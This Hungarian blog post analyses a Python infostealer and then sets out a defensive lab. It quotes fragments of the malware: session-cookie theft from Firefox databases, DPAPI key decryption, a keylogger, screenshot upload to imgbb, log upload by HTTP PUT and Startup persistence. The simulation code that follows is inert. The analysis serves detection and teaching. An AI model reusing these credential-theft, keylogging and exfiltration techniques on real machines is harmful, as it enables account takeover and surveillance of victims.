Mit csinál a cookie-rész?
Ez:
for files in self.FirefoxFilesFullPath: if "cookie" in files:
végigmegy a Firefox által megtalált fájlokon, és kiválasztja a cookie-adatbázist.
Ezután:
database_connection = sqlite3.connect(files) cursor = database_connection.cursor()
megnyitja az SQLite adatbázist.
Majd:
SELECT host, name, path, value, expiry FROM moz_cookies
a Firefox moz_cookies táblájából olvassa ki többek között:
-
host– melyik webhelyhez tartozik, -
name– cookie neve, -
path– cookie útvonala, -
value– cookie értéke, -
expiry– lejárati idő.
A problémás részben például ez látható:
if "instagram" in str(cookie[0]).lower() and \ "sessionid" in str(cookie[1]).lower():
Ez kifejezetten az Instagram session cookie-ját keresi.
Hasonlóan:
TikTok → sessionid Twitter → auth_token Reddit → reddit_session Spotify → sp_dc
A kód ezután például:
asyncio.create_task(self.InstaSession(cookie[3], "Firefox"))
átadja a cookie értékét egy másik függvénynek.
Ez a lényeg
A cookie[3] ebben a lekérdezésben:
host, name, path, value, expiry ↑
a value, vagyis maga a cookie értéke.
Egy session/authentication cookie pedig bizonyos esetekben a bejelentkezett munkamenethez kapcsolódó hitelesítési adat lehet. Ezért ez a kód nem pusztán a Firefox cookie-listáját jeleníti meg, hanem bejelentkezési munkamenetek átvételére alkalmas érzékeny adatokat próbálhat megszerezni.
A második rész
Ez:
if "formhistory" in files:
a Firefox űrlapelőzmény-adatbázisát keresi.
Majd:
cursor.execute("select * from moz_formhistory") autofills = cursor.fetchall()
kiolvassa a moz_formhistory táblát.
Ez a Firefox által korábban bevitt űrlapadatok előzményeit tartalmazhatja, tehát szintén felhasználói adatokat gyűjt.
1. A program fő funkciói
A Variables osztály külön listákat tart fenn például:
Passwords Cards Cookies Historys Downloads Autofills Bookmarks Wifis ClipBoard Processes Network FullTokens ValidatedTokens DiscordAccounts SteamAccounts InstagramAccounts TwitterAccounts TikTokAccounts RedditAccounts SpotifyAccounts RobloxAccounts RiotGameAccounts
Ez önmagában még nem bizonyít adatlopást, de egyértelműen egy információgyűjtő program felépítésére utal. Különösen beszédes, hogy külön kategóriák vannak jelszavakra, bankkártyákra, cookie-kra, tokenekre és különböző online fiókokra.
2. Firefox-cookie gyűjtés
A program megnyitja a Firefox cookie-adatbázisát:
moz_cookies
és kiolvassa:
host name path value expiry
A legfontosabb a value.
Ezután célzottan keresi többek között:
Instagram → sessionid TikTok → sessionid Twitter → auth_token Reddit → reddit_session Spotify → sp_dc
és ezeket továbbadja:
InstaSession() TikTokSession() TwitterSession() RedditSession() SpotifySession()
Ez már nagyon erős jele annak, hogy a program bejelentkezési munkamenetekhez kapcsolódó hitelesítési adatokat próbál megszerezni.
3. GetKey() – böngészőtitkosítási kulcs
A következő rész:
jsonContent["os_crypt"]["encrypted_key"]
Base64-dekódolja az encrypted_key értéket, majd:
SubModules.CryptUnprotectData(encryptedKey)
segítségével Windows DPAPI-val próbálja feloldani.
Ez különösen fontos, mert az ilyen mechanizmus Chromium-alapú böngészők helyi titkosított adatainak kezelésében használatos.
Önmagában a DPAPI használata teljesen legitim technika is lehet. Ebben a programban azonban a cookie-, jelszó- és tokengyűjtési funkciókkal együtt már egészen más jelentősége van.
4. Keylogger
Ez a rész:
with Listener(on_press=write_to_file) as listener: listener.join()
a Listener és az on_press=write_to_file alapján billentyűleütéseket figyel.
A működési logika:
billentyűzet ↓ on_press ↓ write_to_file ↓ log_file
Ez gyakorlatilag keylogger-funkció.
Ez különösen súlyos, mert a naplózott billentyűk között lehetnek:
- felhasználónevek,
- jelszavak,
- üzenetek,
- keresések,
- egyéb begépelt személyes adatok.
5. Képernyőkép készítése
A:
ImageGrab.grab()
képernyőképet készít.
A program fájlba menti:
hostname + timestamp + .png
majd:
upload_image_to_imgbb(screenshot_path)
segítségével feltölti.
Ezután:
os.remove(screenshot_path)
törli a helyi képet.
A folyamat tehát:
képernyő ↓ screenshot ↓ helyi PNG ↓ feltöltés ↓ helyi PNG törlése
A time.sleep(3600) alapján ez óránként ismétlődhet.
6. Log feltöltése
A program a logfájlt is olvassa:
with open(log_file, 'r') as file: file_data = file.read()
majd:
data_to_upload = {'runnner': file_data}
és HTTP PUT kéréssel elküldi:
requests.put(...)
Siker esetén kiüríti a logfájlt:
file.truncate(0)
Ez nagyon jól illeszkedik a keyloggerhez:
billentyűleütések ↓ log_file ↓ HTTP PUT ↓ távoli szerver ↓ log törlése
7. Távoli vezérlésre utaló rész
A program ezt is csinálja:
response = requests.get(command_path)
majd:
command_data = response.json()
Ez azt jelenti, hogy a program egy távoli helyről konfigurációt/parancsadatot kér le.
A látott mezők:
ss_count log_upload
például arra használhatók, hogy a szerver meghatározza:
- hány screenshot készüljön,
- történjen-e logfeltöltés.
Ez már egy C2-szerű (command-and-control) kommunikációs mintázat lehet, bár a teljes command_path és a feldolgozás nélkül nem állítható biztosan, hogy tényleges C2-rendszerről van szó.
8. Perzisztencia – automatikus indítás
Az i_am_cute() nevű rész különösen érdekes:
pythonw.exe system-log.pyw start.bat
és:
Microsoft\Windows\Start Menu\Programs\Startup
A Windows Startup könyvtárát használja.
A logika:
program ↓ system-log.pyw ↓ Startup mappa ↓ Windows újraindul ↓ program automatikusan elindul
Ez perzisztenciának nevezett technika.
A pythonw.exe használata azért is érdekes, mert a Python-programot konzolablak nélkül lehet futtatni.
9. Mutex
A:
CreateMutexA(...)
rész azt ellenőrzi, hogy a programból már fut-e egy példány.
A:
GetLastError() != 183
az ERROR_ALREADY_EXISTS Windows hibakódot figyeli.
Ez önmagában teljesen normális programozási technika, de itt azt biztosítja, hogy az adatgyűjtő programból ne fusson egyszerre több példány.
A programban szerepel: Webhook : és: %WEBHOOK%
valamint a WriteSettings() a program forráskódjába írja vissza a webhook értékét.
Ez arra utal, hogy a készítő egy adatküldési végpontot konfigurálhat.
A webhook önmagában nem rosszindulatú technológia, de a jelenlegi program többi funkciójával együtt rosszra is használható.
1. Elemzési térkép
| Kódrészlet | Megfigyelt működés | Kockázat | Vizsgálható eszköz |
|---|---|---|---|
CreateMutexA() | Egyetlen példány biztosítása | Alacsony önmagában | Process Explorer |
Listener(on_press=...) | Billentyűleütések figyelése | Magas | Procmon, Sysmon |
ImageGrab.grab() | Képernyőkép készítése | Magas | Procmon |
requests.get() | Távoli adatlekérés | Közepes–magas | Wireshark, TCPView |
requests.put() | Adatok feltöltése | Magas | Wireshark, firewall |
moz_cookies | Firefox-cookie adatbázis olvasása | Magas | Procmon |
sessionid / auth_token keresés | Munkamenet-hitelesítők keresése | Nagyon magas | Forenzikus elemzés |
moz_formhistory | Űrlapelőzmények olvasása | Magas | Procmon |
CryptUnprotectData | Windows által védett adat visszafejtése | Kontextusfüggő | API-monitorozás |
| Startup mappa | Automatikus indulás | Magas | Autoruns |
os.remove() | Ideiglenes fájl törlése | Kontextusfüggő | Procmon |
3. Első vizsgálat: perzisztencia
Az általad bemásolt:
Startup system-log.pyw start.bat pythonw.exe
részt először vizsgálnám.
Windows alatt az Autoruns segítségével meg lehet nézni, hogy a program milyen automatikus indítási pontot hoz létre.
Különösen ezt kell keresni:
Startup folder Run RunOnce Scheduled Tasks Services WMI
Ha egy ismeretlen Python-script jelenik meg a Startup alatt, az már önmagában fontos IOC.
4. Második vizsgálat: hálózat
A programban több hálózati művelet látszik:
requests.get(...) requests.put(...) upload_image_to_imgbb(...)
A laborban érdemes feljegyezni:
Process PID Destination IP Destination domain Port Protocol DNS query HTTP method TLS kapcsolat
Például egy elemzési napló:
| Idő | Folyamat | Cél | Port | Művelet |
|---|---|---|---|---|
| 10:15:02 | pythonw.exe | ismeretlen szerver | 443 | GET |
| 10:15:05 | pythonw.exe | képkezelő szolgáltatás | 443 | POST |
| 10:16:01 | pythonw.exe | ismeretlen szerver | 443 | PUT |
Ez már nagyon jól megmutatja a program kommunikációs mintáját.
5. Harmadik vizsgálat: fájlrendszer
A Procmonban érdemes szűrni:
Process Name is python.exe OR Process Name is pythonw.exe
majd figyelni:
CreateFile ReadFile WriteFile DeleteFile
Különösen érdekes lesz, amikor a program:
Firefox → cookies.sqlite → ReadFile
után:
screenshot.png → WriteFile
majd:
screenshot.png → DeleteFile
műveletet végez.
6. Negyedik vizsgálat: böngészőadatok
Az általad bemásolt kód alapján különösen fontos:
moz_cookies moz_formhistory
és a korábban látott:
os_crypt encrypted_key CryptUnprotectData
Ezeket ne valódi felhasználói profilodon teszteld.
Készíts inkább egy laborprofilban:
testuser │ ├── teszt Firefox │ ├── teszt cookie │ └── teszt űrlapadat │ └── teszt Python program
Így a hozzáférési kísérletek biztonságosan megfigyelhetők.
7. MITRE ATT&CK szempontból
A látott viselkedések több ismert támadási kategóriához kapcsolódnak, például:
Input Capture Screen Capture Credentials from Web Browsers Data from Local System Application Layer Protocol Boot or Logon Autostart Execution
A pontos ATT&CK-technika hozzárendelését azonban mindig az aktuális tényleges kód és viselkedés alapján érdemes elvégezni, nem pusztán a függvénynevek alapján.
8. Amit én következőként vizsgálnék
A jelenlegi kódrészletekből még három komponens hiányzik ahhoz, hogy a program működését teljesen össze tudjuk rakni:
SubModules.CryptUnprotectData() │ ▼ mit fejt vissza? upload_image_to_imgbb() │ ▼ hová küldi? write_to_file() │ ▼ pontosan mit naplóz?
És különösen:
InstaSession() TikTokSession() TwitterSession() RedditSession() SpotifySession()
Ezek mutatják meg, mi történik a megszerzett session-cookie értékével.
SZÁNDÉKOSAN HAGYTAM KI NELŐLE RÉSZEKET, MERT AZ ÖRDÖG NEM ALSZIK!
Az alábbi függvények a vizsgált program hiányzó komponenseinek **ártalmatlan szimulációi**. A keylogger csak előre megadott teszteseményeket fogad, a screenshot helyett tesztképet készít, a DPAPI-funkció pedig csak demonstrációs adatot kezel. A session-függvények nem valódi cookie-kat használnak.
```python
import base64
import hashlib
import json
import os
from datetime import datetime
# ---------------------------------------------------------
# 1. "write_to_file" - biztonságos keylogger-szimuláció
# ---------------------------------------------------------
LOG_FILE = "lab_events.log"
def write_to_file(test_key: str) -> None:
"""
Oktatási célú eseménynapló.
Nem figyeli a billentyűzetet.
Csak explicit módon átadott tesztadatot ír.
"""
timestamp = datetime.now().isoformat(timespec="seconds")
with open(LOG_FILE, "a", encoding="utf-8") as file:
file.write(f"{timestamp} TEST_KEY={test_key!r}\n")
# ---------------------------------------------------------
# 2. Screenshot-feltöltés biztonságos helyettesítője
# ---------------------------------------------------------
def upload_image_to_imgbb(image_path: str) -> bool:
"""
Nincs valódi internetes feltöltés.
A laborban csak ellenőrizzük, hogy a kép létezik,
és naplózzuk a műveletet.
"""
if not os.path.isfile(image_path):
return False
size = os.path.getsize(image_path)
print(
f"[LAB] Screenshot feldolgozva: "
f"{image_path} ({size} byte)"
)
return True
# ---------------------------------------------------------
# 3. CryptUnprotectData biztonságos laborhelyettesítő
# ---------------------------------------------------------
def CryptUnprotectData(data: bytes) -> bytes:
"""
Nem használ Windows DPAPI-t és nem fejt vissza
böngészőadatot.
Oktatási célra egy determinisztikus hash-t ad vissza,
hogy a hívási lánc tesztelhető legyen.
"""
if not isinstance(data, bytes):
raise TypeError("A data paraméternek bytes típusúnak kell lennie.")
return hashlib.sha256(data).digest()
# ---------------------------------------------------------
# 4. Tesztkulcs feldolgozása
# ---------------------------------------------------------
def GetKey_lab(file_path: str) -> bytes:
"""
Labor JSON-fájl feldolgozása.
Csak mesterséges tesztkulcsot fogad.
"""
with open(file_path, "r", encoding="utf-8") as file:
data = json.load(file)
encrypted_key = data["os_crypt"]["encrypted_key"]
raw_key = base64.b64decode(encrypted_key)
return CryptUnprotectData(raw_key)
# ---------------------------------------------------------
# 5. Session-függvények biztonságos változatai
# ---------------------------------------------------------
def InstaSession(test_value: str, source: str) -> None:
print(
f"[LAB] Instagram session esemény: "
f"forrás={source}, tesztadat={test_value}"
)
def TikTokSession(test_value: str, source: str) -> None:
print(
f"[LAB] TikTok session esemény: "
f"forrás={source}, tesztadat={test_value}"
)
def TwitterSession(test_value: str, source: str) -> None:
print(
f"[LAB] Twitter session esemény: "
f"forrás={source}, tesztadat={test_value}"
)
def RedditSession(test_value: str, source: str) -> None:
print(
f"[LAB] Reddit session esemény: "
f"forrás={source}, tesztadat={test_value}"
)
def SpotifySession(test_value: str, source: str) -> None:
print(
f"[LAB] Spotify session esemény: "
f"forrás={source}, tesztadat={test_value}"
)
# ---------------------------------------------------------
# 6. Labor teszt
# ---------------------------------------------------------
if __name__ == "__main__":
print("=== Malware viselkedési labor ===")
# Keylogger-szimuláció
write_to_file("TEST_USERNAME")
write_to_file("TEST_PASSWORD")
write_to_file("ENTER")
# Screenshot-szimuláció
test_image = "test_screenshot.bin"
with open(test_image, "wb") as file:
file.write(b"LAB_SCREENSHOT_DATA")
upload_image_to_imgbb(test_image)
# Session-szimuláció
InstaSession("TEST_SESSION_123", "Firefox")
TikTokSession("TEST_SESSION_456", "Firefox")
TwitterSession("TEST_AUTH_789", "Firefox")
RedditSession("TEST_REDDIT_001", "Firefox")
SpotifySession("TEST_SPOTIFY_002", "Firefox")
print()
print("A labor befejeződött.")
print(f"Eseménynapló: {LOG_FILE}")
```
A program így ugyanazokat a **szoftverarchitekturális pontokat** szemlélteti:
```text
esemény
↓
write_to_file()
↓
helyi napló
tesztkép
↓
upload_image_to_imgbb()
↓
LAB feldolgozás
teszt session-adat
↓
InstaSession()
TikTokSession()
TwitterSession()
RedditSession()
SpotifySession()
↓
csak helyi kiírás
```
A valódi böngésző-cookie-k, session-tokenek, billentyűzetfigyelés és külső exfiltráció helyett mindenhol **LAB/TEST adat** szerepel.

Nincsenek megjegyzések:
Megjegyzés küldése